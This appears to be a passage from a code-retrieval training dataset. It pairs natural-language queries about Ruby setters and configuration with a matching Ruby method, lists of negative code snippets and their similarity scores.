"0.6414321",
"0.6414321",
"0.6414321",
"0.6414321",
"0.6414321",
"0.64114696",
"0.64114696",
"0.64114696",
"0.64099354",
"0.64099354",
"0.638892",
"0.63844585",
"0.63827556",
"0.6375192",
"0.6366735",
"0.63650006",
"0.63254225",
"0.63203424",
"0.6298197",
"0.629065",
"0.629065",
"0.6272908",
"0.6267747",
"0.62669724",
"0.62624115",
"0.6239034",
"0.6227188",
"0.6216033",
"0.6210915",
"0.6207446",
"0.61859345",
"0.61859345",
"0.61859345",
"0.61859345",
"0.61859345",
"0.61859345",
"0.61859345",
"0.61835796",
"0.61784935",
"0.61784935",
"0.6172923",
"0.6172923",
"0.61705464",
"0.6169419",
"0.61685836",
"0.61647016",
"0.61647016",
"0.61647016",
"0.61647016",
"0.61553556",
"0.6137406",
"0.6122829",
"0.61089456",
"0.6100978",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6098415",
"0.6097977",
"0.60954386",
"0.6084264",
"0.6078356",
"0.60721266",
"0.6064548",
"0.6064242",
"0.6064242",
"0.6064242",
"0.6064242",
"0.6064242",
"0.6064242",
"0.6064242",
"0.6064242",
"0.6064242",
"0.6064242",
"0.60555315",
"0.6053746"
] |
0.0
|
-1
|
Call setter for each key/value pair
|
def apply_options! options = {}
options.each_pair do |key, value|
send("#{key}=", value) if self.respond_to?(:"#{key}=")
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set(fields)\n case self[:value]\n when Proc\n fields.send \"#{self[:key]}=\", self[:value].call(nil)\n else\n attr = if self[:key].to_s.end_with?('?')\n self[:key].to_s[0..-2]\n else\n self[:key]\n end\n fields.send \"#{attr}=\", self[:value]\n end\n end",
"def set(key, value); end",
"def set(key, value); end",
"def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end",
"def set(params = {})\n params.each do |k,v|\n self.class.attributes k.to_s\n send(k.to_s+\"=\",v)\n end\n end",
"def set(key, value)\n end",
"def set_attributes_by_hash(values = {})\n values.each do |key, value|\n meth_key = \"#{key}=\".to_sym\n self.send(meth_key, value ) if self.respond_to?(meth_key)\n end\n end",
"def set(key, value, **options); end",
"def set_properties(*values)\n if values.size == 1 && values.first.is_a?(Hash)\n # We are dealing with a hash\n values.first.each do |key, index|\n self.set_property(key, value)\n end\n else\n # We are dealing with a list/array\n values.flatten.each_with_index do |value, index|\n self.set_property(index, value)\n end\n end\n end",
"def update(attrs)\n attrs.each_pair do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n # attributes[key] = value <- lets make use of virtual attributes too\n end\n end",
"def field_set!(key, value)\n send \"_#{key}_set\", value\n end",
"def update(values)\n values.each do |key, value|\n if self[key].is_a?(self.class)\n unless value.respond_to?(:to_hash)\n raise ArgumentError, \"#{value.inspect} is not a valid setting value\"\n end\n\n self[key].update(value.to_hash)\n else\n self[key] = value\n end\n end\n self\n end",
"def set(hash)\n hash.each do | key, value |\n setting = settings.find_by_key(key) || settings.new(:key => key)\n setting.value = value\n setting.save!\n end\n end",
"def []=(key, value) self.send(\"#{key}=\", value) end",
"def set_property(key, value)\n end",
"def set(key, value)\n raise \"Method not implemented. Called abstract class.\"\n end",
"def set_attrs (key, val)\n self.instance_variable_set(\"@#{key}\", val)\n self.class.send(:define_method, key, proc {self.instance_variable_get(\"@#{key}\")})\n end",
"def create_setters\n schema_fields.keys.each do |key|\n self.class.send(:define_method, \"#{key.to_s}=\".to_sym) do |value| \n @data[key] = value #get_value key, value\n end\n end\n end",
"def set(object, value); end",
"def do_set current, keys, value\n if keys.blank?\n current[:value] = value\n return current\n end\n\n keys = [keys] unless keys.is_a? Array\n current_key = keys.shift.to_sym\n if current[current_key].blank?\n current[current_key] = {:value => {}}\n end\n \n if keys.size > 0\n current[current_key] = do_set(current[current_key], keys, value)\n else\n current[current_key][:value] = value \n end\n \n current\n end",
"def []=(key, val)\n self.setObject(val, forKey: key.to_s)\n self.synchronize\n end",
"def set(key, value=self)\n if value.kind_of?(Proc)\n metadef(key, &value)\n metadef(\"#{key}?\") { !!__send__(key) }\n metadef(\"#{key}=\") { |val| set(key, Proc.new{val}) }\n @keys << key \n elsif value == self && key.is_a?(Hash)\n key.to_hash.each { |k,v| set(k, v) }\n elsif respond_to?(\"#{key}=\")\n __send__ \"#{key}=\", value\n @keys << key \n else\n set key, Proc.new{value}\n end\n self\n end",
"def update!(**args)\n @set_values = args[:set_values] if args.key?(:set_values)\n @unset_values = args[:unset_values] if args.key?(:unset_values)\n end",
"def update!(**args)\n @set_values = args[:set_values] if args.key?(:set_values)\n @unset_values = args[:unset_values] if args.key?(:unset_values)\n end",
"def update!(**args)\n @set_values = args[:set_values] if args.key?(:set_values)\n @unset_values = args[:unset_values] if args.key?(:unset_values)\n end",
"def set_value val, key=\"\"\n oldval = @value\n if @klass == 'String'\n @value = val\n elsif @klass == 'Hash'\n #$log.debug \" Variable setting hash #{key} to #{val}\"\n oldval = @value[key]\n @value[key]=val\n elsif @klass == 'Array'\n #$log.debug \" Variable setting array #{key} to #{val}\"\n oldval = @value[key]\n @value[key]=val\n else\n oldval = @value\n @value = val\n end\n return if @update_command.nil?\n @update_command.each_with_index do |comm, ix|\n comm.call(self, *@args[ix]) unless comm.nil?\n end\n @dependents.each {|d| d.fire_property_change(d, oldval, val) } unless @dependents.nil?\n end",
"def setnx(key, value); end",
"def setnx(key, value); end",
"def set_fields(fields)\n fields.each { |key, value| set_field key, value }\n end",
"def []=(key, value)\n values[key] = value\n values.save\n end",
"def set(*args, &block)\n update(*args, &block)\n end",
"def set(options)\n options.each do |k, v|\n send(\"#{k}=\", v) if respond_to? \"#{k}=\"\n end\n end",
"def set(values); end",
"def update args\n args.each do |key, value|\n method = \"#{key}=\".to_sym \n if self.respond_to? method\n self.send(method, value)\n end\n end\n end",
"def []=(key , value)\n set(key, value)\n end",
"def field_set(key, value)\n field = self.class.fetch_field(key.to_sym)\n send \"#{key}=\", field.coerce(value)\n end",
"def modify_values\n each_with_object self.class.new do |hash_pair, ꜧ|\n ꜧ[ hash_pair[0] ] = yield( hash_pair )\n end\n end",
"def set_attribute(dict_name, key, value)\n end",
"def set_attribute(dict_name, key, value)\n end",
"def set_attribute(dict_name, key, value)\n end",
"def []=(key, value)\n regular_writer(convert_key(key), convert_value(value))\n end",
"def set( key, value )\n fail NotImplementedError\n end",
"def key_writer *keys\n keys.each do |method|\n key = method.to_s\n define_method \"#{method}=\" do |value|\n self[key] = value\n end\n end\n end",
"def []=(key, value)\n field_set key, value\n end",
"def set(key, value)\n self.data ||= {}\n self.data[key.to_s] = value\n self.save!\n end",
"def set(key, value)\n change(:set, key, value)\n end",
"def get_and_set(key, value); end",
"def set_fields(fields)\n fields.each { |key, value| set_field key, value }\n end",
"def set(key, value, timestamp)\n \n end",
"def set_attributes(attrs = {})\n attrs.each do |key, value|\n set_attribute(key, value)\n end\n end",
"def []=(key,value) #:nodoc:\n key = convert_key(key)\n regular_writer(key,convert_value(value))\n end",
"def _save_set_values(h)\n @values = h\n end",
"def _save_set_values(h)\n @values = h\n end",
"def set_attributes(*args)\n if args && args[0]\n if args[0].is_a?(Hash)\n args[0].each{|m,value|\n self.send(\"#{m}=\".to_sym,value)\n }\n else\n raise ArgumentError.new(\"Lolita::Configuration::List::Editable arguments must be Hash instead of #{args[0].class}\")\n end\n end\n end",
"def set(k,v)\n each do |e|\n e.set k,v\n end\n self\n end",
"def set(key, value)\n self.data[key] = { value: value, timestamp: Time.now.to_i }\n self.data[key][:value]\n end",
"def update(data)\n data.each do |key, value|\n __send__(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n end\n end",
"def modify_values!\n each_with_object self do |hash_pair, ꜧ|\n ꜧ[ hash_pair[0] ] = yield( hash_pair )\n end\n end",
"def set_attribute(key_, value_)\n attribute(key_, value_, :set)\n end",
"def []=(key, value)\n regular_writer(convert_key(key), convert_value(value))\n end",
"def set(key, value)\n raise NotImplementedError\n end",
"def set_multiple(keys, values)\n @mutex.synchronize do\n raise \"Invalid size #{keys}=#{values}\" unless keys.size == values.size\n # pp keys,values\n keys.zip(values).each do |var, val|\n do_set(var,val) unless var.nil? or val.nil?\n end\n end\n end",
"def set hash\n hash.each_pair do |k,v|\n self.send(:\"#{k}=\", v)\n end\n \n self\n end",
"def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end",
"def []=(key, value)\n super(convert_key(key), convert_value(value))\n end",
"def set(params)\n params.each do |param, value|\n @property_hash[param.intern] = value\n end\n end",
"def set(value)\n mutate build_map(value)\n end",
"def assign(params) #:nodoc:\n params.each_pair do |key, value|\n self.send(\"#{key}=\", value) rescue self.instance_eval(\"@#{key}=value\") rescue next\n end\n end",
"def update(other_hash)\n other_hash.each_pair do |key, value|\n if respond_to?(convert_key(key) + \"=\")\n self.send(convert_key(key) + \"=\", convert_value(value))\n else\n regular_writer(convert_key(key), convert_value(value))\n end\n end\n self\n end",
"def []= name, value\n set_all name => value\n end",
"def cset item, key, val\n @item_config[item][key] = val\n self\n end",
"def set(hsh = {})\n hsh.each { |name, val| self.set_attr(name,val) }\n self\n end",
"def []=(key, value)\n regular_writer(convert_key(key), convert_value(value, conversion: :assignment))\n end",
"def getset(key, value); end",
"def getset(key, value); end",
"def set(key, value)\n @value[key.to_sym] = value if key\n end",
"def modify\n each_with_object self.class.new do |hash_pair, ꜧ|\n key, val = yield hash_pair\n ꜧ[key] = val\n end\n end",
"def []=(key,value)\n send(\"#{key}=\",value) rescue nil\n end",
"def attributes=(params)\n params.each_pair do |k, v|\n setter = \"#{k}=\".to_sym\n public_send(setter, v)\n end\n end",
"def []=( key, value )\n\t\t@data[ key ] = value\n\t\t@modified = true\n\tend",
"def set(key , value)\n index = key_index(key)\n if( index )\n self.keys.set(index , value)\n else\n self.keys.push(key)\n self.values.push(value)\n end\n value\n end",
"def []=(key,value)\n ruby_set(key&&key.to_s, value)\n end",
"def []=(key, value)\n set(key, value)\n end",
"def []=(key, value)\n set(key, value)\n end",
"def set(key , value)\n index = key_index(key)\n if( index )\n @i_values.set(index , value)\n else\n @i_keys.push(key)\n @i_values.push(value)\n end\n value\n end",
"def []= key, value\n\t\t\tsuper\n\t\t\t@orient.update set: {@name => self} if @name.present? if check_if_complete\n\t\tend",
"def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end",
"def []= key, value\n key = @schema.resolve_key! key\n @schema.validate_value! key, value\n @values[key] = value\n end",
"def []=(key, value)\n coerced_value = coercion(key).present? ? coercion(key).call(value) : value\n old_setter(key, coerced_value)\n end",
"def []=(key, value)\n set(key, :val => value)\n end",
"def __setobj__\n excl_list = self.class.send(:excl_list)\n @hashobj.each do |key, value|\n snake = key.to_s.gsub(/\\W/, '_').underscore\n\n unless excl_list.include?(snake) # Must deal with nested models\n if value.kind_of?(Array)\n newval = value.map { |elem| elem.kind_of?(Hash) ? nested_object(snake.camelize.singularize, elem) : elem }\n @hashobj[key] = newval\n elsif value.kind_of?(Hash)\n @hashobj[key] = nested_object(snake.camelize, value)\n end\n end\n\n add_accessor_methods(snake, key)\n end\n end",
"def hmset(key, *attrs); end",
"def hmset(key, *attrs); end",
"def []=(key, data)\n\t\tset key, data\n\tend",
"def []=(key_name, value)\n set(key_name, value)\n end",
"def try_values(values)\r\n values.each do |v|\r\n @object.send(\"#{@attribute}=\", v) # try to set the value\r\n @object.valid?\r\n yield(v, @object.errors.on(@attribute))\r\n end\r\n end",
"def []=(key, value); end",
"def []=(key, value); end",
"def []=(key, value); end",
"def []=(key, value); end",
"def []=(key, value); end"
] |
[
"0.7077602",
"0.70014846",
"0.70014846",
"0.68610924",
"0.6782143",
"0.67506045",
"0.6735641",
"0.66050345",
"0.6535287",
"0.648141",
"0.64715016",
"0.64432395",
"0.6421955",
"0.6417616",
"0.64083165",
"0.6399381",
"0.6390345",
"0.63867944",
"0.63718235",
"0.6368263",
"0.6359148",
"0.63538164",
"0.6328605",
"0.6327548",
"0.6327548",
"0.63140804",
"0.6307136",
"0.6307136",
"0.6307083",
"0.6303866",
"0.6287322",
"0.6281646",
"0.6271501",
"0.6257275",
"0.62499094",
"0.6248384",
"0.62445015",
"0.62258625",
"0.62258625",
"0.6222884",
"0.6222638",
"0.62192667",
"0.6213544",
"0.6207417",
"0.6201969",
"0.6199817",
"0.6180369",
"0.61708623",
"0.61692005",
"0.6152076",
"0.61504567",
"0.614892",
"0.614892",
"0.61480737",
"0.61305624",
"0.61296886",
"0.61269903",
"0.6119732",
"0.61089003",
"0.61055136",
"0.60997623",
"0.60923433",
"0.6072962",
"0.6062198",
"0.6052927",
"0.6044159",
"0.6012895",
"0.6011282",
"0.60098904",
"0.60021013",
"0.59977883",
"0.59934276",
"0.5985788",
"0.59838253",
"0.59838253",
"0.5983366",
"0.5981812",
"0.5981229",
"0.5980264",
"0.5979111",
"0.59790325",
"0.5975705",
"0.5974439",
"0.5974439",
"0.5973737",
"0.596936",
"0.59643066",
"0.59628606",
"0.5961934",
"0.5958035",
"0.595168",
"0.5946826",
"0.5946826",
"0.5938443",
"0.59299105",
"0.5924589",
"0.59239566",
"0.59239566",
"0.59239566",
"0.59239566",
"0.59239566"
] |
0.0
|
-1
|
Configure subject with behavior First apply any remaining options needed Then configure models if configured to do do
|
def configure! options = {}
apply_options! options
configure_models if auto_config?(:models)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def configure\n return quick_join if !join_model\n [subject_model, object_model, join_model].compact.each do |model| \n model.configure\n end \n end",
"def configure\n create_belongs_to :subject, class_name_option(:subject)\n create_belongs_to :object, class_name_option(:object)\n end",
"def prep_subject(subject)\n add_command_requirements(subject)\n @command_set.add_defaults(subject)\n subject.required_fields(subject_requirements())\n subject.undo_stack = @undo_stack\n subject.command_set = @command_set\n subject.chain_of_command = @commands_pending\n subject.pause_decks = @pause_decks\n subject.mode_stack = @sub_modes\n return subject\n end",
"def configure\n super\n create_has_many_through :subject\n end",
"def configure\n super if defined? super\n if tr = self.model.transformer\n selected_frames.each do |local_frame, global_frame|\n if orogen_task.has_property?(\"#{local_frame}_frame\")\n property(\"#{local_frame}_frame\").write(global_frame)\n end\n end\n\n if !static_transforms.empty?\n orogen_task.static_transformations = static_transforms.map do |trsf|\n rbs = Types::Base::Samples::RigidBodyState.new\n rbs.zero!\n rbs.time = Time.now\n rbs.sourceFrame = trsf.from\n rbs.targetFrame = trsf.to\n rbs.position = trsf.translation\n rbs.orientation = trsf.rotation\n rbs\n end\n end\n end\n end",
"def configure\n super if defined? super\n if tr = self.model.transformer\n selected_frames.each do |local_frame, global_frame|\n if orocos_task.has_property?(\"#{local_frame}_frame\")\n property(\"#{local_frame}_frame\").write(global_frame)\n end\n end\n\n if !static_transforms.empty?\n orocos_task.static_transformations = static_transforms.map do |trsf|\n rbs = Types::Base::Samples::RigidBodyState.new\n rbs.zero!\n rbs.time = Time.now\n rbs.sourceFrame = trsf.from\n rbs.targetFrame = trsf.to\n rbs.position = trsf.translation\n rbs.orientation = trsf.rotation\n rbs\n end\n end\n end\n end",
"def setup!(model, options)\n super\n @model = self.class.decorator_class.new(@model)\n end",
"def setup(model_class); end",
"def setup(model_class); end",
"def setup_trait(options);end",
"def initialize subject_class, options = {}\n raise ArgumentError, \"The first argument must be the Class which is the subject of the behavior\" unless subject_class.is_a?(Class)\n @subject_class = subject_class\n\n apply_options! options\n end",
"def initialize subject_class, options = {}\n raise ArgumentError, \"The first argument must be the Class which is the subject of the behavior\" unless subject_class.is_a?(Class)\n @subject_class = subject_class\n\n apply_options! options\n end",
"def configure_models(model)\n model_queue.each do |o|\n o.each do |k, v|\n model.add_model k, v\n end unless o.nil?\n end\n end",
"def setup_model(opts, current_account:, **)\n opts['model'] = current_account\n end",
"def configure_model\n configure base_uri: base_uri\n Ladder::Config.register_model self unless Ladder::Config.models.include? self\n end",
"def configure_relation\n end",
"def setup\n return if resolved_model_definitions.present?\n @is_rake_task = false\n @is_rake_association_task = false\n @warnings = nil\n @log = false\n @log_clean = false\n check_rake_task\n @resolved_model_definitions = resolve_model_definition_classes_and_values\n end",
"def model(main_model, options={})\n self.model_options = [main_model, options]\n end",
"def prepare\n Maadi::post_message(:More, \"Model (#{@type}) is ready\")\n\n super\n end",
"def initialize subject_class, object_class, join_class, options = {}\n raise ArgumentError, \"subject class not given\" if !subject_class\n raise ArgumentError, \"object class not given\" if !object_class\n\n @subject_model = SubjectModel.new self, subject_class, options[:subject_key]\n @object_model = ObjectModel.new self, object_class\n @join_model = JoinModel.new(self, join_class) if join_class\n end",
"def configure\n end",
"def init_with_model_and_adapter(m, adapter = nil, logger: Logger.new($stdout))\n if !m.is_a?(Model::Model) || (!adapter.nil? && !adapter.is_a?(Persist::Adapter))\n raise StandardError, 'Invalid parameters for enforcer.'\n end\n\n self.adapter = adapter\n\n self.model = m\n model.print_model\n self.fm = Model::FunctionMap.load_function_map\n\n init(logger: logger)\n\n # Do not initialize the full policy when using a filtered adapter\n load_policy if adapter && !filtered?\n end",
"def configure\n super()\n syncer_klass.configure(settings) if syncer_klass\n end",
"def initialize(subject, forcing = false)\r\n @subject = subject\r\n @forcing = forcing\r\n clear\r\n end",
"def configure(settings = {})\n abstract_method\n end",
"def setup\n super()\n dataflow_class_for(dataflow).configure(settings) if registered?(dataflow)\n end",
"def setup_associations; end",
"def setup(options = {})\n setup_events(options)\n setup_broadcast\n end",
"def on subject\n @subject = subject\n self\n end",
"def configure!\n yield self\n setup\n end",
"def prepare\n model.tap do |p|\n p.identifier = set_identifiers\n p.meta = set_meta\n p.text = set_text\n p.status = COMPLETED_STATUS\n p.authored = set_date\n p.author = set_author\n p.subject = set_subject\n p.questionnaire = set_questionnaire\n p.group = set_group\n end\n end",
"def configure\n self.configuration ||= Configuration.new\n\n yield(configuration) if block_given?\n \n configuration.validate!\n\n setup if configuration.enabled?\n end",
"def configure\n yield settings\n end",
"def configure\n self.configuration ||= Configuration.new\n yield(configuration)\n self.sender = Sender.new(configuration)\n end",
"def set_subject(subject)\n\t\tend",
"def configure\n yield settings\n end",
"def configure_with(params)\r\n\r\n\t\tend",
"def setup()\n @configuration = {}\n @configuration.merge!(defaults)\n @configuration\n end",
"def setup_dynamic\n setup_adapters(phase: :dynamic)\n setup_adapters(phase: :final)\n end",
"def init\n adapter.setup_connection_specification_name\n adapter.process_excluded_models\n end",
"def config_setup\n [\n Project,\n Affiliate,\n Employee,\n EmployeeSession,\n Ldaper,\n User,\n UserSession,\n Company,\n Admin\n ].each do |model|\n unless model.respond_to?(:original_acts_as_authentic_config)\n model.class_attribute :original_acts_as_authentic_config\n end\n model.original_acts_as_authentic_config = model.acts_as_authentic_config\n end\n end",
"def configure\n yield(self)\n end",
"def initialize(...)\n super()\n configure(...)\n end",
"def setup_behavior(config, req='req')\n app_condition = lambda do |app|\n if_app(app, req)\n end\n if_else([:dashboard, :pegasus], app_condition) do |app|\n app_config = config[app]\n configs = app_config[:behaviors] + [app_config[:default]]\n path_condition = lambda do |behavior|\n behavior[:path] ? paths_to_regex(behavior[:path], req) : nil\n end\n if_else(configs, path_condition) do |behavior|\n yield behavior, app\n end\n end\nend",
"def configure\n\t\t\tyield self\n\t\tend",
"def configure\n\t\t\tyield self\n\t\tend",
"def setup(options)\n NotImplementedError \n end",
"def setup(options); end",
"def setup(options); end",
"def configure; end",
"def configure\n yield self\n end",
"def configure\n yield(self)\n end",
"def configure(opts)\n #This is a stub, used for indexing\n end",
"def configure()\n yield(configuration)\n self.sender = Sender.new(configuration)\n self.sender\n end",
"def configure\n yield self\n\n self\n end",
"def setup!\n super\n @loot_machine = LootMachine.find options[:loot_machine_id]\n end",
"def setup\n yield(configuration)\n end",
"def configure\n yield(self)\n end",
"def setup\n self.converted = false if self.converted.nil?\n self.recurrent = false if self.recurrent.nil?\n end",
"def setup_with_audit!\n self.settings = audit_user.settings\n self.treatments = reified_actives_for(\"treatments\").map do |t|\n # uniq_name = \"treatment_#{t[\"name\"]}\"\n # quantity, unit = settings[\"#{uniq_name}_quantity\"], settings[\"#{uniq_name}_unit\"]\n\n {name: t[\"name\"], quantity: nil, unit: nil}\n end\n self.conditions = reified_actives_for(\"conditions\").map(&:name)\n self.catalogs = self.conditions.map { |c| CATALOG_CONDITIONS[c] }.compact\n\n save_without_processing\n self\n end",
"def ensure_setup!\n unless @model_class\n raise \"You must call #setup! on this class before calling this method.\"\n end\n end",
"def setup(settings = {})\n @config = defaults.merge(settings)\n end",
"def initialize(models = [], options = {})\n @models, @options = models, RailsERD.options.merge(options)\n end",
"def prepare\n model.tap do |p|\n p.name = name\n p.identifier = set_identifiers\n p.meta = set_meta\n end\n end",
"def prepare\n model.tap do |p|\n p.name = name\n p.identifier = set_identifiers\n p.meta = set_meta\n end\n end",
"def configure\n\t\t\tyield configuration\n\t\tend",
"def configure\n yield self\n end",
"def configure\n yield self\n end",
"def configure\n yield self\n end",
"def configure\n yield self\n end",
"def configure\n yield self\n end",
"def config(subject)\n @self_config ||= self.config_class.find_by(subject: subject, key: self.key)\n end",
"def configure(silent = false)\n self.configuration ||= Configuration.new\n yield(configuration)\n self.sender = Sender.new(configuration)\n # Attempt to attach an adapter, either by class or name\n if adapters.include? configuration.adapter\n self.adapter = configuration.adapter.new(configuration)\n elsif configuration.adapter\n adapter_class = Ribbit::Adapters.load_adapter configuration.adapter\n self.adapter = adapter_class.new(configuration) rescue nil\n end\n self.adapter.activate! if self.adapter\n end",
"def startStrategies\r\n\t\t@match_strategy = MatchStrategy.new(self)\r\n\t\t@change_strategy = ChangeSubjectStrategy.new(self)\r\n\t\t@question_strategy = QuestionStrategy.new(self)\r\n\tend",
"def configure()\n\t\t\tyield self\n\t\tend",
"def setup(options = {})\n options.symbolize_keys.each_pair do |k, v|\n self.send(\"#{k}=\", v)\n end\n # Set the site for the ActiveResource objects\n Resource.site = site\n # Special for keywords\n Keyword.site = \"#{site}watched_domains/:watched_domain_id\"\n self\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end",
"def configure\n yield self\n self\n end"
] |
[
"0.6979871",
"0.62139076",
"0.61475646",
"0.61191726",
"0.59010214",
"0.5784482",
"0.577737",
"0.57525873",
"0.57525873",
"0.56635594",
"0.5619064",
"0.5619064",
"0.5594302",
"0.5436158",
"0.5397122",
"0.53866965",
"0.5383661",
"0.53133905",
"0.5290292",
"0.5242534",
"0.5241735",
"0.52376616",
"0.5234194",
"0.5222696",
"0.52152777",
"0.52105665",
"0.5207785",
"0.5204549",
"0.5203966",
"0.5194229",
"0.5191741",
"0.51591134",
"0.5146795",
"0.5140881",
"0.51387775",
"0.51275355",
"0.51243776",
"0.51203716",
"0.5116317",
"0.5105994",
"0.5104652",
"0.51034033",
"0.50903225",
"0.50893223",
"0.50715184",
"0.50715184",
"0.5062953",
"0.5054915",
"0.5054915",
"0.50468767",
"0.50222456",
"0.50200343",
"0.5019069",
"0.50158006",
"0.5008414",
"0.50006235",
"0.49993396",
"0.4994926",
"0.49889335",
"0.49840552",
"0.49799436",
"0.49799037",
"0.49792552",
"0.49788147",
"0.49788147",
"0.4961614",
"0.4958315",
"0.4958315",
"0.4958315",
"0.4958315",
"0.4958315",
"0.49514693",
"0.49505603",
"0.49485186",
"0.49457765",
"0.49383497",
"0.49279308",
"0.49279308",
"0.49279308",
"0.49279308",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794",
"0.49180794"
] |
0.66698515
|
2
|
get the auto configuration settings hash
|
def auto_config
@auto_config ||= {}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_hash()\n\t\t\treturn @config.clone()\n\t\tend",
"def to_hash\n self.config.to_hash\n end",
"def to_hash\n configuration\n end",
"def to_h\n config\n end",
"def to_hash\n @configuration\n end",
"def to_hash\n @configuration\n end",
"def to_hash\n @configuration_data\n end",
"def config_data\n {}\n end",
"def config\n @config ||= {}\n end",
"def config\n @config ||= {}\n end",
"def to_h\n @configuration\n end",
"def user_settings_hash\n fail 'sub class to implement'\n end",
"def to_h\n @config\n end",
"def to_h\n @config\n end",
"def get_hash()\n return @@hash;\n end",
"def configuration\n self[:configuration] || {}\n end",
"def settings\n @settings ||= {}\n end",
"def to_hash\n ChefConfig::Config.save(true)\n end",
"def get_settings\n settings.get\n end",
"def backup_configuration\n settings[\"backup_configuration\"]\n end",
"def config\n @config ||= Smartgen::Configuration.new\n end",
"def config\n @options[:config]\n end",
"def retriable_configuration\n Take2::Configuration::CONFIG_ATTRS.each_with_object({}) do |key, hash|\n hash[key] = send(key)\n end\n end",
"def config\n info['Config']\n end",
"def settings\n @settings ||= {}\n end",
"def settings\n @settings ||= {}\n end",
"def config_hash\n digest = Digest::MD5.hexdigest(\n \"#{@x}-#{@y}-#{@hires_factor}-#{@render_type}-#{@format}-#{CONVERTER_VERSION}\")\n digest\n end",
"def configuration\n Configuration::get\n end",
"def configuration\n Configuration::get\n end",
"def settings\n @settings ||= {}\n end",
"def config\n configuration\n end",
"def to_hash()\n Hash[\n self.class.settings.map do |key|\n begin\n [key, self[key]]\n rescue ArgumentError\n nil\n end\n end.compact()\n ]\n end",
"def get_actual_config\n @config\n end",
"def get_config\n\t\tend",
"def config\n overview[\"config\"]\n end",
"def keys\n configuration.keys\n end",
"def actual_config\n Config.instance\n end",
"def config\n @config = ActiveSupport::HashWithIndifferentAccess.new(@config) if @config.is_a? Hash\n @config\n end",
"def config\r\n @configuration\r\n end",
"def config\n storage_hash = get_api_node(['storage-pools', resource[:name]])\n config_hash = storage_hash['config']\n # Remove volatile.initial_source key from config as \n config_hash.delete(\"volatile.initial_source\")\n return config_hash\n end",
"def keys\n @config.keys\n end",
"def get_keys()\n\t\t\treturn @config.keys\n\t\tend",
"def configurations\n @configurations ||= []\n end",
"def configuration\n {}\n end",
"def app_config_key\n return @app_config_key\n end",
"def config\n options.to_smash.deep_merge(opts.to_smash)\n end",
"def config\n options.to_smash.deep_merge(opts.to_smash)\n end",
"def settings\n {}\n end",
"def settings\n {}\n end",
"def configuration\n self[:configuration]\n end",
"def settings\n # TODO\n {}\n end",
"def settings\n {}\n end",
"def hash\n @hash ||= @client.get_hash(path)\n @hash\n end",
"def hash\n @hash ||= @client.get_hash(path)\n @hash\n end",
"def config\n self.class.configuration_builder.configuration\n end",
"def app_config_key_value\n return @app_config_key_value\n end",
"def user_config(key)\n Autoproj.user_config(key)\nend",
"def config\r\n Configuration\r\n end",
"def config\r\n Configuration\r\n end",
"def config\r\n Configuration\r\n end",
"def config\r\n Configuration\r\n end",
"def config\r\n Configuration\r\n end",
"def config\r\n Configuration\r\n end",
"def config_store; end",
"def config\n @payload.fetch('config')\n end",
"def config\n @config\n end",
"def to_hash\n @scoped_config\n end",
"def hash\n require 'yaml'\n hash = YAML.load(File.read(self.yaml_file)) #gets hash from yaml file\n return hash\n end",
"def configuration\n cfg = {}\n cfg[:author_avpair] = @author_avpair.name if (@author_avpair)\n cfg[:command_authorization_profile] = @command_authorization_profile.name if (@command_authorization_profile)\n cfg[:enable_acl] = @enable_acl.name if (@enable_acl)\n cfg[:login_acl] = @login_acl.name if (@login_acl)\n return(cfg)\n end",
"def configuration\n cfg = {:default_policy => @default_policy.to_s, :disabled_prompt => @disabled_prompt, :delimiter => @delimiter, :ip => @ip,\n :log_accounting => @log_accounting, :log_authentication => @log_authentication, :log_authorization => @log_authorization,\n :log_level => @logger_level, :login_prompt => @login_prompt, :max_clients => @max_clients, :password_expired_prompt => @password_expired_prompt,\n :password_prompt => @password_prompt, :port => @port, :sock_timeout => @sock_timeout, :testing => @testing }\n cfg[:dump_file] = @dump_file if (@dump_file)\n cfg[:key] = @key if (@key)\n cfg[:logger] = @logger if (@logger)\n cfg[:name] = @name if (@name)\n return(cfg)\n end",
"def as_hash\n @settings.each_with_object({}) do |(name, config), result|\n config.each_pair do |key, value|\n result[\"#{name}_#{key}\"] = value\n end\n end\n end",
